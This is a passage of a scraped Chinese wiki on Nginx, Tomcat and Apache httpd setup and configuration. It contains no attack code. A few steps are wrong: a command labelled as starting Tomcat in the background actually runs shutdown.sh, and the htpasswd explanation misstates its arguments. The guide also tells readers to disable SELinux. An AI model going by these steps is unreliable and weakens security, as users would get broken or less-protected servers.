context.这样可以很方便的模拟多个服务器的场景. 例如: 1java -Dtomcat.connector.port=9030 -Dtomcat.context.path=/app -cp "JavaWebApp/WEB-INF/classes;JavaWebApp/WEB-INF/lib/*" io.github.dunwu.app.Main io.github.dunwu.app.Main 是这个 Java 服务的启动类. JavaWebApp/WEB-INF/classes;JavaWebApp/WEB-INF/lib/* 是 class 路径和 lib 路径,必须指定,否则无法识别启动类. 如上的配置参数,可以启动一个端口号为 9030,上下文为 /app 的服务.访问路径为:http://localhost:9030/app. nginx-1.14.0nginx-1.14.0 是 Nginx 的 windows 环境的 1.14.0 官方版本.之所以把它完整的放入本项目中也是为了方便演示. 我添加了两个 bat 脚本,可以启动和关闭 nginx 服务. nginx-start.bat nginx-stop.bat 在 Nginx 默认配置文件 nginx.conf 中我通过配置 include demos/*.conf; 将 Nginx/demos/nginx-1.14.0/conf/demos 目录中所有 Nginx 配置示例都引入. scriptsscripts 中包含了运行示例的启动脚本.目前只支持 windows 下运行,当然想基于此教程改造为在 Linux 下运行也不难,将 nginx-1.14.0 替换为 Linux 版本,bat 脚本修改为 shell 即可. 运行步骤: 首先必须执行 build-javaapp.bat 构建 javaapp右键以管理员运行 想运行哪个 demo,就执行对应的 demoxx-start.bat 脚本. 添加 hosts因为示例中使用的不是公网域名,域名服务器不能识别.所以,要演示示例,还需要修改本地 hosts. windows 的 host 路径一般在:C:\\Windows\\System32\\drivers\\etc\\hosts linxu 的 host 路径一般在:/etc/hosts 1234567127.0.0.1 www.demo01.com127.0.0.1 www.demo02.com127.0.0.1 www.demo03.com127.0.0.1 www.demo04.com127.0.0.1 www.demo05.com127.0.0.1 www.demo06.com# 以上是所有的hosts,如果所有服务都看就一次性添加吧,一个一个加太麻烦了 示例说明Demo01 - 简单的反向代理示例本示例启动一个 JavaApp,访问地址为:localhost:9010.在 Nginx 中配置它的反向代理 host 为 www.demo01.com.Nginx 配置文件:demo01.conf 运行步骤: 执行 demo01-start.bat 脚本. 配置 hosts:127.0.0.1 www.demo01.com 在浏览器中访问:www.demo01.com Demo02 - 负载均衡示例本示例启动三个 JavaApp,访问地址分别为: localhost:9021 localhost:9022 localhost:9023 在 Nginx 中统一配置它们的反向代理 host 为 www.demo02.com,并设置相应权重,以便做负载均衡.Nginx 配置文件:demo02.conf 运行步骤: 执行 demo02-start.bat 脚本. 配置 hosts:127.0.0.1 www.demo02.com 在浏览器中访问:www.demo02.com 如图所示:三次访问的端口号各不相同,说明三个服务器各自均有不同机率(基于权重)被访问. Demo03 - 多 webapp 示例当一个网站功能越来越丰富时,往往需要将一些功能相对独立的模块剥离出来,独立维护.这样的话,通常,会有多个 webapp. http 的默认端口号是 80,如果在一台服务器上同时启动这 3 个 webapp 应用,都用 80 端口,肯定是不成的.所以,这三个应用需要分别绑定不同的端口号. 本示例启动三个 JavaApp,访问地址分别为: localhost:9030/ localhost:9031/product localhost:9032/user Nginx 中的配置要点就是为每个 server 配置一个 upstream.并在 server 配置下的 location 中指定 context 对应的 upstream. Nginx 配置文件:demo03.conf 运行步骤: 执行 demo03-start.bat 脚本. 配置 hosts:127.0.0.1 www.demo03.com 在浏览器中访问:www.demo03.com 如图所示:三次访问的 context 和端口号各不相同.说明 Nginx 根据不同的 context 将请求分发到指定的服务器上. Demo04 - 配置文件服务器示例有时候,团队需要归档一些数据或资料,那么文件服务器必不可少.使用 Nginx 可以非常快速便捷的搭建一个简易的文件服务. Nginx 中的配置要点: 将 autoindex 开启可以显示目录,默认不开启. 将 autoindex_exact_size 开启可以显示文件的大小. 将 autoindex_localtime 开启可以显示文件的修改时间. root 用来设置开放为文件服务的根路径. charset 设置为 charset utf-8,gbk;,可以避免中文乱码问题(windows 服务器下设置后,依然乱码,本人暂时没有找到解决方法). Nginx 配置文件:demo05.conf 运行准备:由于我的配置中设置 root 的路径为我自己机器中的绝对路径,所以,各位在运行本例的时候要根据自己的实际情况替换. 运行步骤: 执行 demo05-start.bat 脚本. 配置 hosts:127.0.0.1 www.demo05.com 在浏览器中访问:www.demo05.com 效果图如下:","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"五. Tomcat从入门到精通","path":"/wiki/MiddlewareDocs/五. Tomcat从入门到精通.html","content":"总字符数: 12.88K 代码: 1.91K, 文本: 3.72K 预计阅读时间: 24 分钟 服务器简介WEB服务器主要支持的协议就是HTTP协议,Web服务器专门处理HTTP请求,通常情况下WEB服务器和HTTP服务器说的是同一回事.如:Apache、Nginx、IIS、Tomcat都属于Web服务器. 应用服务器应用服务器通过各种协议来为客户端提供业务逻辑. 如:JBoss、Weblogic、WebSphere都属于应用服务器. 综上: Apache和Nginx是纯粹的Web服务器,而IIS和Tomcat因为具有了解释和执行服务器端代码的能力,可以称作为轻量级应用服务器. JBoss、Weblogic和WebSphere因为能提供强大的J2EE API功能,毫无疑问是绝对的应用服务器. Tomcat,它可以配合Web服务器Apache/Nginx一起使用,也可以作为应用服务器的辅助与应用服务器一起使用. Web服务器主要处理静态页面以及作为Servlet容器,解释和执行servlet/JSP,而应用服务器主要运行业务逻辑. Tomcat与Web服务器Apache是普通服务器,本身只支持静态网页(HTML普通网页),像php,cgi,jsp等动态网页就需要Tomcat来处理. Apache和Tomcat都可以做为独立的web服务器来运行,但是Apache不能解释java程序(jsp,servlet).Tomcat是Apache的扩展. Tomcat是一个支持Servlet和JSP技术的容器.Web服务器Apache、Nginx仅仅支持静态网页,对于支持动态网页就会显得无能为力,而Tomcat(Servlet和JSP能根据实时需要产生动态网页)既能为动态网页服务,又能为静态网页提供支持.尽管Tomcat没有通常的Web服务器快(通常的Web服务器都是用底层语言(如C/C++)编写,而Tomcat用纯Java编写)、功能也不如通常的Web服务器丰富. 一般来说,大型网站都是将Tomcat与Apache/Nginx结合,Apache/Nginx负责接受来自客户端的HTTP请求,然后将HTTP请求转发给Tomcat来处理. 为了提高性能,可以将一台Apache/Nginx连接多台tomcat实现负载均衡. Tomcat与应用服务器目前,Tomcat一直被认为是Servlet容器.然而,Tomcat并不仅仅如此,它还提供了JNDI和JMX的实现机制.尽管如此,Tomcat仍然还不能算是应用服务器,因为它不提供J2EE API的其他大多数支持. 目前许多的应用服务器通常把Tomcat作为它们Servlet容器. 对于开发者来说,如果是为了寻找Servlet、JSP、JNDI和JMX技术来生成Java Web应用的话,选择Tomcat是一个优秀的解决方案;但是为了寻找其他的J2EE API的支持,那么寻找一个应用服务器或者把Tomcat作为应用服务器的辅助是一个不错的解决方案;第三种方式是找到独立的J2EE API实现,然后把它们跟Tomcat结合起来使用,虽然整合会带来相关的问题,但是这种方式是最为有效的. Tomcat web服务器软件安装Linux安装12345678910# 新建目录mkdir /usr/local/tomcat# 进入目录cd /usr/local/tomcat/# 下载tomcat文件,具体版本可自行选择,这里我用的是8.0.30wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.30/bin/apache-tomcat-8.0.30.tar.gz# 解压压缩包tar -zxvf apache-tomcat-8.0.30.tar.gz# 进入配置文件目录cd /usr/local/tomcat/apache-tomcat-8.0.30/conf/ 1234567891011121314151617# 修改tomcat端口,tomcat的默认端口号是8080vim server.xml# 以下选中的这个代码片段是设置HTTP请求的配置,其中可以看到8080和8443两个端口,8080就是HTTP的端口.# 那么redirectPort属性的作用是什么呢?当用户用http请求某个资源,而该资源本身又被设置了必须要https方式访问,此时Tomcat会自动重定向到这个redirectPort设置的https端口.# 可以将8080改为自己需要设置的端口号# 启动tomcat## 进入bin目录下cd /usr/local/tomcat/apache-tomcat-8.0.30/bin/# 启动tomcat./startup.sh# 后台启动nohup ./shutdown.sh &# 访问网址http://192.168.64.170:8080/# 关闭tomcat./shutdown.sh 1234# 启动项目# 进入安装包所放在的文件夹cd /usr/local/tomcat/apache-tomcat-8.0.30/webapps/# 将war包放置到此目录,如果是新tomcat将里面的文件全部删掉 Windows安装安装jdk8https://repo.huaweicloud.com/java/jdk/8u201-b09/https://repo.huaweicloud.com/java/jdk/8u201-b09/ 双击安装,并记住安装目录 配置环境变量 安装完成后,右击”我的电脑”,点击”属性”,选择”高级系统设置”; 选择”高级”选项卡,点击”环境变量”; 在 “系统变量” 中设置 3 项属性,JAVA_HOME、PATH、CLASSPATH(大小写无所谓),若已存在则点击”编辑”,不存在则点击”新建”. 变量设置参数如下: 变量名:JAVA_HOME 变量值:C:\\Program Files\\Java\\jdk1.8.0_201 // 要根据自己的实际路径配置 变量名:CLASSPATH 变量值:.;%JAVA_HOME%\\lib\\dt.jar;%JAVA_HOME%\\lib\\tools.jar; //记得前面有个”.” 如果是新建的话不要输.;只需要输:%JAVA_HOME%\\lib\\dt.jar;%JAVA_HOME%\\lib\\tools.jar; 变量名:Path 变量值:%JAVA_HOME%\\bin;%JAVA_HOME%\\jre\\bin; JAVA_HOME CLASSPATH输入/在已有的变量值后面添加 修改Path 变量由于 win10 的不同,当选中Path 变量的时候,系统会很方便的把所有不同路径都分开了,不会像 win7 或者 win8 那样连在一起 检查 打开 cmd,输入 java -version,出现以下版本号,说明配置成功了 安装tomcathttps://tomcat.apache.org/download-80.cgihttps://tomcat.apache.org/download-80.cgi 确定型号 型号讲解(通常下载最新版之前的那一版) 找到下载位置 进行下载这里下载Windows-64位 解压文件即可 配置Tomcat环境变量 配置jdk:如果使用Tomcat必须配置javahome 配置Tomcat:环境变量新建:变量名:CATALINA_HOME变量值:Tomcat所在路径(能看到目录简介页面的路径) 检验是否安装成功:打开目录bin下的startup.bat,出现启动时间则说明安装完成注意:bat是windows里面的,sh是Linux里面的 ​ 访问网址,成功显示http://localhost:8080/ Tomcat目录简介1234567bin # 可执行文件(startup.bat-启动 shutdown.bat 关闭)conf # 配置文件(server.xml)lib # tomcat依赖的jar文件log # 日志文件(记录出错等信息)temp # 临时文件webapps # 可执行的项目(将我们开发的项目放入该目录)work # 存放由jsp翻译成的java,以及编辑成class文件(jsp->java->class) Tomcat使用注意:运行Tomcat时(startup.bat),可能会出现报错. 报错原因:Tomcat端口号冲突(默认端口号为8080,比较常见),建议修改端口号 修改方法:进入目录下的conf配置文件,进入到server.xml里面将端口号进行修改(修改为8888). 修改完重新运行即可因为我是全新环境,就不修改了 常见状态码:404:资源部存在(常见) 200:一切正常(一般看不见) 403:权限不足(比如访问a目录,a目录设置不可见) 300/301/302:页面种定向(跳转) 500:服务器内部错误(代码错误,常见)502 网关错误 其他编码:积累 创建项目在目录的webapps里面创建项目. 1、配置文件需要有WEB-INF文件夹 1、进入ROOT里面复制WEB-INF文件夹 2、在新建的文件里面粘贴复制的WEB-INF文件夹,并进入添加两个文件夹,分别是classes和lib 2、创建项目在JspProject-test下创建jsp项目记得显示出文件扩展名后在把后缀名改成.jsp index.jsp内容: 123456789101112<html><head><title>测试</title></head><body>hello jsp...<!--这里面为jsp脚本,里面存放java代码--><%out.print("hello word...");%></body></html> 3、运行项目 bin–>startup.bat 运行Tomcat 网页输入:localhost:8888/项目文件夹名称 运行完毕 关闭 正常关闭: bin/ shutdown. bat bin/startup.bat 进入到里面点击 ctrl+c 强制关闭: 点击启动窗口的x 5、假如我在JspProject目录下再创建一个jsp文件 index2.jsp内容 123456789101112<html><head><title>jsp2</title></head><body>hello jspla;sl;akdlaskdl;sakdl;sdlaksdlkl...<%out.print("hello word...");%></body></html> 运行结果: 默认还是第一个文件 4、更改默认访问的jsp文件问题:我们发现,浏览器默认访问index.jsp这个文件,那么该如何修改设置呢 解决:在项目的WEB-INF的web.xml中添加以下代码 12345//根据顺序优先打开,如果第一个打不开,就打开第二个,一次往下 <welcome-file-list> <welcome-file>index2.jsp</welcome-file> <welcome-file>index.jsp</welcome-file> </welcome-file-list> 完成 5、访问指定jsp文件localhost:8888/项目文件夹名称/jsp文件名 配置虚拟路径我们知道,我们所创建的项目都是在webapps里面创建的,其实这里的webapps就是一个虚拟路径,如果我想在别处创建项目,那么该如何修改虚拟路径呢? 方式一:任意地方创建项目 第一步:介绍在conf文件夹中的server.xml中修改 123<Host name="localhost" appBase="webapps" # name="localhost" 本地虚拟路径在webapps里面# appBase="webapps" 本身存在的虚拟路径unpackWARs="true" autoDeploy="true"> 第二步:配置其他虚拟路径在Service.xml中host内配置Context标签,path+docbase属性。 **path:**虚拟路径(相对路径[相对于webapps]和绝对路径) **docBase:**实际路径 实际的项目在哪里 **reloadable:**如果这个属性设为 true,tomcat 服务器在运行状态下会监视在WEB-INF/classes 和 WEB-INF/lib 目录下 class 文件的改动,如果监测到有 class 文件被更新的,服务器会自动重新加载 Web 应用. **crossContext:**如果想在应用内调用 ServletContext.getContext()来返回在该虚拟主机上运行的其他 web application 的 request dispatcher,设为 true.在安全性很重要的环境中设为 false,使得 getContext()总是返回 null.缺省值为 false. **Debug:**与这个 Engine 关联的 Logger 记录的调试信息的详细程度.数字越大,输出越详细.如果没有指定,缺省为 0. 访问path,也就是访问docBase path的相对路径: 1<Context docBase="" path="/JspProject-test" /> # 一定要注意后面是一个/ path的绝对路径: 1<Context docBase="" path="D:\\JspProject-test" /> 一般都用path的相对路径 实际路径:项目所在位置 1<Context docBase="D:\\JspProject-test" path="/JspProject" reloadable = "true"/> 表示 我以后访问/JspProject,就是访问E:\\Tomcat\\虚拟路径文件夹\\JspProject 配置后记得重启 将Tomcat集成到IDEA中,并创建和部署JavaEE项目创建web项目新版本IDEA 创建普通的Java工程文件 添加框架支持 选择Web Application,勾选web.xml 生成目录 将index.jsp内的内容改掉 配置tomcat 第一步: 第二步:引入选择本地 选择Tomcat的安装目录 ​ 点击修正 点击应用–>确定 导入jsp的jar包 启动测试 热部署更新资源,不需要关闭原来运行的服务.比如我把网页进行一下改动,那么就不用关闭原来已经运行的服务,直接运行即可 URL访问地址设置这个时候需要重启服务器 Tomcat运行原理分析https://www.w3cschool.cn/javaweb/f5mi1mss.htmlhttps://www.w3cschool.cn/javaweb/f5mi1mss.html Tomcat 是运行在 JVM 中的一个进程.它定义为[中间件],顾名思义,是一个在Java项目与JVM之间的中间容器. Web 项目的本质,是一大堆的资源文件和方法.Web 项目没有入口方法 ( main 方法),,意味着 Web 项目中的方法不会自动运行起来. Web项目部署进 Tomcat 的 webapp 中的目的是很明确的,那就是希望 Tomcat 去调用写好的方法去为客户端返回需要的资源和数据. Tomcat 可以运行起来,并调用写好的方法.那么,Tomcat 一定有一个 main 方法. 对于Tomcat 而言,它并不知道我们会有什么样的方法,这些都只是在项目被部署进 webapp下后才确定的,由此分析,必然用到了 Java 的反射来实现类的动态加载、实例化、获取方法、调用方法.但是我们部署到 Tomcat 的中的Web项目必须是按照规定好的接口来进行编写,以便进行调用. Tomcat 如何确定调用什么方法呢.这取决于客户端的请求,http://127.0.0.1:8080/JayKing.Tomcat.Study/index.java?show 这样的一个请求,通过 http 协议,在浏览器发往本机的 8080 端口,携带的参数 show 方法,包含此方法的路径为 JayKing.Tomcat.Study,文件名为:index.java. 原理总结 Tomcat 需要 main 方法启动. Tomcat 需要监听本机上的某个端口. Tomcat 需要抓取此端口上来自客户端的链接并获得请求调用的方法与参数. Tomcat 需要根据请求调用的方法,动态地加载方法所在的类,完成类的实例化并通过该实例获得需要的方法最终将请求传入方法执行. 将结果返回给客户端( jsp/html 页面、 json/xml 字符串).","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"四. Apache从入门到精通","path":"/wiki/MiddlewareDocs/四. Apache从入门到精通.html","content":"总字符数: 21.11K 代码: 16.00K, 文本: 2.07K 预计阅读时间: 1.31 小时 背景 Apache: Apache是世界使用排名第一的Web服务器软件.它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一.它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中. Nginx: Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行.其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等. 可以使用curl -I(大写i)选项仅查看响应头部信息,我们来看一看国内知名网站部署的服务器类型: 不难发现,现在主流的web服务器都采用nginx的部署方式,毕竟在支持高并发方面有着天生的优势.主流的网站基本采用:lamp/lnmp方式部署web服务器 Apache与Nginx对比? Apache Nginx 稳定、对动态请求处理强 擅长处理静态请求 但同时高并发时性能较弱,耗费资源多 高并发处理能力强、擅长处理反向代理、均衡负载 Apache的相关内容Apache的安装部署123456789101112131415161718# 安装apache软件、手册yum install -y httpd httpd-manual# 打开服务systemctl start httpd# 设置开机自启动systemctl enable httpd# 放行防火墙firewall-cmd --zone=public --add-port=80/tcp --permanentfirewall-cmd --reload# 关闭Selinuxvim /etc/selinux/config# 将SELINUX的值改为disable# /var/www/html---apache根目录,默认发布目录,安装httpd后才会有这个文件# apache默认发布文件,编辑此文件,通过网页可以看到内容vim /var/www/html/index.html 1234测试:在浏览器输入: http://192.168.64.169/# 查看手册http://192.168.64.169/manual Apache的基本信息 目录 位置 主配置目录 /etc/httpd/conf 主配置文件 /etc/httpd/conf/httpd.conf 子配置目录 /etc/httpd/conf.d/ 子配置文件 /etc/httpd/conf.d/*.conf 默认发布目录 /var/www/html 默认发布文件 index.html 默认端口 80 默认安全上下文 httpd_sys_content_t 程序开启默认用户 apache (我们在下载httpd这个软件后,会自动生成apache这个用户) apache日志 /etc/httpd/logs/* 修改Apache默认发布目录123456789101112# 创建文件夹mkdir -p /www/htmlchown -R apache:apache /www/htmlchmod -R 755 /www/htmlecho "Hello Kill3r" >> /www/html/index.htmlvim /etc/httpd/conf/httpd.conf # 复制一行,注释掉原来的,防止自己手写把格式写错DocumentRoot "/www/html" # 将默认发布目录改为/www/html,要保证这个目录存在,否则会启动报错# 修改授权信息<Directory "/www/html">Require all granted # 允许共享该目录下面的东西,否则无法访问</Directory> 修改默认端口(可选)1234567vim /etc/httpd/conf/httpd.conf# 修改默认端口为8080# 重启apachesystemctl restart httpdfirewall-cmd --zone=public --add-port=8080/tcp --permanentfirewall-cmd --reload 修改默认发布文件12345678910vim /etc/httpd/conf/httpd.conf# 默认发布文件就是访问apache时没有指定文件名时默认访问的文件# 这个文件可以指定多个,有访问顺序.# 设置当请求一个目录时,Apache将提供的文件.<IfModule dir_module> DirectoryIndex index.html index2.html</IfModule># 当index.html不存在时,就会访问index2. html Apache 配置文件详细解读123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284# 详细信息请参考 URL:https://httpd.apache.org/docs/2.4/.# 具体而言,请查看 URL:https://httpd.apache.org/docs/2.4/mod/directives.html 对每个配置指令的讨论.# 请注意,在阅读这些指令之前,请确保了解它们的作用.它们只是一些提示或提醒.如果您不确定,请查阅在线文档.已经警告过您了.# 配置和日志文件名:如果您为服务器的许多控制文件指定的文件名以 "/"(或对于Win32系统为"drive:/")开头,服务器将使用该明确的路径.如果文件名不以 "/" 开头,则会在其前面添加 ServerRoot 的值.例如,当 ServerRoot 设置为 "/www" 时,'log/access_log' 将被服务器解释为 '/www/log/access_log',而 '/log/access_log' 将被解释为 '/log/access_log'.# ServerRoot: 服务器配置、错误和日志文件所在的目录树的顶级路径.# 在目录路径的末尾不要添加斜杠.如果将 ServerRoot 指向非本地磁盘,请确保在 Mutex 指令中指定一个本地磁盘,如果使用基于文件的互斥锁.如果希望多个 httpd 守护进程共享相同的 ServerRoot,至少需要更改 PidFile.ServerRoot "/etc/httpd"# Listen: 允许您将Apache绑定到特定的IP地址和/或端口,而不是默认的.还请参阅 <VirtualHost> 指令.# 更改以下示例中的侦听地址以防止Apache绑定到所有可用的IP地址.# Listen 12.34.56.78:80Listen 8080## 动态共享对象(DSO)支持## 要能够使用作为 DSO 构建的模块的功能,您必须在此位置放置相应的 `LoadModule` 行,以便其中包含的指令在使用之前实际可用.# 静态编译的模块(`httpd -l` 列出的模块)不需要在此处加载.## 示例:# LoadModule foo_module modules/mod_foo.so#Include conf.modules.d/*.conf## 如果您希望 httpd 以不同的用户或组身份运行,您必须最初以 root 身份运行 httpd,然后它将切换.## 用户/组:要作为 httpd 运行的用户/组的名称(或编号).# 通常建议为运行 httpd 创建一个专用的用户和组,就像大多数系统服务一样.#User apacheGroup apache# 'Main' 服务器配置## 本节中的指令设置 'main' 服务器使用的值,该服务器响应未由 <VirtualHost> 定义处理的任何请求.这些值还为您稍后在文件中定义的任何 <VirtualHost> 容器提供了默认值.## 所有这些指令都可以出现在 <VirtualHost> 容器内,这种情况下,这些默认设置将被用于定义的虚拟主机进行覆盖.### ServerAdmin:您的地址,服务器问题应该通过电子邮件发送到的地方.此地址将出现在一些服务器生成的页面上,例如错误文档.例如:admin@your-domain.com#ServerAdmin root@localhost## ServerName 指定服务器用于标识自身的名称和端口.# 这通常可以自动确定,但我们建议您明确指定它,以避免启动期间出现问题.## 如果您的主机没有注册的 DNS 名称,请在此处输入其 IP 地址.## ServerName www.example.com:80# 禁止访问服务器文件系统的全部内容.您必须在下面的其他 <Directory> 块中明确允许访问 Web 内容目录.#<Directory /> AllowOverride none Require all denied</Directory>## 请注意,从这一点开始,您必须明确允许特定功能启用 - 因此,如果某些东西不像您期望的那样工作,请确保您已经明确启用它.## DocumentRoot:您将为之提供文档的目录.默认情况下,所有请求都从此目录接收,但可以使用符号链接和别名来指向其他位置.## DocumentRoot "/var/www/html"DocumentRoot "/www/html"## 放宽对 /var/www 内容的访问权限.#<Directory "/www/html"> AllowOverride None # 允许公开访问 Require all granted</Directory># 进一步放宽对默认文档根目录的访问权限:<Directory "/www/html"> # # Options 指令的可能值为 "None"、"All" 或任何组合: # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews # # 请注意,"MultiViews"必须明确命名---"Options All"不会包含它. # # Options 指令既复杂又重要.有关更多信息,请参阅 # https://httpd.apache.org/docs/2.4/mod/core.html#options # Options Indexes FollowSymLinks # # AllowOverride 控制可以放置在 .htaccess 文件中的指令. # 它可以是 "All"、"None" 或以下关键字的任意组合: # Options FileInfo AuthConfig Limit # AllowOverride None # # 控制谁可以从此服务器获取文件. # Require all granted</Directory># DirectoryIndex: 设置当请求一个目录时,Apache 将提供的文件.#<IfModule dir_module> DirectoryIndex index.html index2.html</IfModule>## 以下行防止 Web 客户端查看 .htaccess 和 .htpasswd 文件.#<Files ".ht*"> Require all denied</Files>## ErrorLog: 错误日志文件的位置.# 如果在 <VirtualHost> 容器中没有指定 ErrorLog 指令,# 与该虚拟主机相关的错误消息将在此处记录.# 如果您为 <VirtualHost> 容器定义了错误日志文件,# 则该主机的错误将在那里记录,而不是在这里.#ErrorLog "logs/error_log"## LogLevel: 控制记录到 error_log 的消息数量.# 可能的值包括:debug、info、notice、warn、error、crit、alert、emerg.#LogLevel warn<IfModule log_config_module> # # 以下指令定义一些格式的别名,用于与 CustomLog 指令一起使用(参见下文). # LogFormat "%h %l %u %t \\"%r\\" %>s %b \\"%{Referer}i\\" \\"%{User-Agent}i\\"" combined LogFormat "%h %l %u %t \\"%r\\" %>s %b" common <IfModule logio_module> # 您需要启用 mod_logio.c 来使用 %I 和 %O LogFormat "%h %l %u %t \\"%r\\" %>s %b \\"%{Referer}i\\" \\"%{User-Agent}i\\" %I %O" combinedio </IfModule> # # 访问日志文件(通用日志文件格式)的位置和格式. # 如果您没有在 <VirtualHost> 容器内定义任何访问日志文件, # 它们将在此处记录.相反,如果您在每个 <VirtualHost> 容器中定义了独立的访问日志文件, # 事务将在其中记录,而不是在此文件中. # #CustomLog "logs/access_log" common # # 如果您偏好具有访问、代理和引用者信息的日志文件(组合日志文件格式), # 可以使用以下指令. # CustomLog "logs/access_log" combined</IfModule><IfModule alias_module> # # Redirect: 允许您向客户端通知曾经存在于服务器命名空间中但现在不存在的文档. # 客户端将对文档在其新位置重新发起请求. # 示例: # Redirect permanent /foo http://www.example.com/bar # # Alias: 将 Web 路径映射到文件系统路径,用于访问不位于 DocumentRoot 下的内容. # 示例: # Alias /webpath /full/filesystem/path # # 如果在 /webpath 后面加上斜杠,则服务器将要求它在 URL 中存在. # 您还可能需要提供一个 <Directory> 部分来允许访问文件系统路径. # # ScriptAlias: 控制包含服务器脚本的目录. # ScriptAliases 与 Aliases 基本相同,只是目标目录中的文档被视为应用程序,并由服务器在请求时运行,而不是作为发送给客户端的文档. # 与 Alias 指令一样,ScriptAlias 指令也适用于尾部的斜杠规则. # ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"</IfModule>## "/var/www/cgi-bin" 应更改为配置了 ScriptAlias 的 CGI 目录的实际路径.#<Directory "/var/www/cgi-bin"> AllowOverride None Options None Require all granted</Directory><IfModule mime_module> # # TypesConfig 指向包含从扩展名到 MIME 类型的映射列表的文件. # TypesConfig /etc/mime.types # # AddType 允许您添加或覆盖指定文件类型的 MIME 配置文件中的 MIME. # #AddType application/x-gzip .tgz # # AddEncoding 允许您让某些浏览器动态解压缩信息. # 注意:并非所有浏览器都支持此功能. # #AddEncoding x-compress .Z #AddEncoding x-gzip .gz .tgz # # 如果上面的 AddEncoding 指令被注释掉,那么您可能要定义这些扩展名以表示媒体类型: # AddType application/x-compress .Z AddType application/x-gzip .gz .tgz # # AddHandler 允许您将某些文件扩展名映射到"处理程序": # 与文件类型无关的操作.这些可以是服务器内置的,也可以是使用 Action 指令添加的(参见下文). # # 若要在 ScriptAliased 目录以外使用 CGI 脚本: # (您还需要在 "Options" 指令中添加 "ExecCGI".) # #AddHandler cgi-script .cgi # 对于类型映射(可协商的资源): #AddHandler type-map var # # Filters 允许您在将内容发送到客户端之前对其进行处理. # # 若要解析 .shtml 文件以进行服务器端包含(SSI): # (您还需要在 "Options" 指令中添加 "Includes".) # AddType text/html .shtml AddOutputFilter INCLUDES .shtml</IfModule>## 为所有提供的内容指定默认字符集;# 这使得默认情况下将所有内容解释为 UTF-8.# 若要使用默认浏览器选择(ISO-8859-1),# 或者允许 HTML 内容中的 META 标签覆盖此选择,请将该指令注释掉.#AddDefaultCharset UTF-8<IfModule mime_magic_module> # # mod_mime_magic 模块允许服务器使用文件内容本身的各种提示来确定文件类型. # MIMEMagicFile 指令告诉模块提示定义的位置. # MIMEMagicFile conf/magic</IfModule>## 可自定义的错误响应有三种类型:# 1)纯文本 2)本地重定向 3)外部重定向## 一些示例:#ErrorDocument 500 "The server made a boo boo."#ErrorDocument 404 /missing.html#ErrorDocument 404 "/cgi-bin/missing_handler.pl"#ErrorDocument 402 http://www.example.com/subscription_info.html### EnableMMAP 和 EnableSendfile:在支持的系统上,# 可以使用内存映射或 sendfile 系统调用来传送文件.# 这通常提高服务器性能,但在从网络挂载的文件系统中提供服务时,# 或者如果系统不支持这些功能,则必须关闭它们.# 如果被注释,默认值为:EnableMMAP On,EnableSendfile Off.##EnableMMAP offEnableSendfile on# 附加配置## 如果有的话,在"/etc/httpd/conf.d"目录中加载配置文件.IncludeOptional conf.d/*.conf Apache的访问控制基于IP的访问控制12345678910111213141516171819202122232425262728# 先将所有配置恢复至初始,然后配置. yum remove -y httpd*rm -rf /etc/httpd# 如果/etc/httpd/conf.d目录下有welcome.conf文件那么会显示欢迎页面,如果没有会显示拒绝rm -rf /etc/httpd/conf.d/welcome.confvim /etc/httpd/conf/httpd.conf `以下两个二选一``Apache的默认配置并不支持使用CIDR表示法或正则表达式进行IP地址的拒绝.如果希望使用更高级的IP拒绝规则,你可能需要考虑使用专门的防火墙软件或其他网络设备来处理这些规则.`# 拒绝某IP访问 <Directory "/www/html/"> Order Allow,Deny # 表示按照 Allow 和 Deny 的顺序进行访问控制.Allow from All # 允许所有来源的请求访问该目录.Deny from 192.168.0.100 # 拒绝 IP 地址为192.168.0.100的请求访问该目录 </Directory># 允许某IP访问# 请注意,Allow from指令已经在Apache 2.4版本中废弃,推荐使用新的Require指令进行访问控制.如果您使用的是较新的版本,请将配置更新为以下内容:<Directory "/www/html"> Options Indexes FollowSymLinks Require ip 192.168.64.1</Directory># 这将实现相同的效果,只允许来自192.168.64.1的IP地址访问/www/html目录.# 重启服务systemctl restart httpd 基于用户的访问控制12345678910111213141516171819202122232425262728293031323334353637# htpasswd 是一个 Apache Web 服务器提供的工具,用于创建和管理用户名和密码的文件.# -c 是 htpasswd 命令的选项,表示要创建一个新的密码文件,如果文件已存在则会被覆盖.# killer 是用户名,可以根据实际需要替换为你想要创建的用户名.# 最后一个 killer 是密码,表示将要为该用户设置的密码.同样,你可以替换为你自己选择的密码.# 执行上述命令后,将会在执行命令的目录下创建一个名为 "killer" 的密码文件,并在文件中记录所设置的用户名和对应的加密密码.这样,当用户使用该用户名和密码进行身份验证时,Apache 将会验证其凭据是否与密码文件中的匹配.# 进入目录cd /etc/httpd/conf/htpasswd -cm killer killer ##建立用户并设置密码cat killer ##查看该文件vim httpd.conf# 需要将配置文件中的两个<Directory>块都删掉,合并为下面这一个<Directory "/www/html"> AllowOverride None AuthType basic AuthName "Please input your name and password" AuthUserFile /etc/httpd/conf/killer Require valid-user Options Indexes FollowSymLinks</Directory># Require 指令可以接受以下几种值:# Require all granted: 允许所有用户无条件地访问资源.# Require all denied: 禁止所有用户无条件地访问资源.# Require host example.com: 仅允许来自指定主机(例如 example.com)的请求访问资源.# Require ip 192.168.0.1: 仅允许来自指定 IP 地址(例如 192.168.0.1)的请求访问资源.# Require valid-user: 要求用户通过身份验证后才能访问资源.需要用户提供有效的凭据(用户名和密码).# Require user username: 仅允许指定用户名的用户访问资源.# 使用逻辑运算符 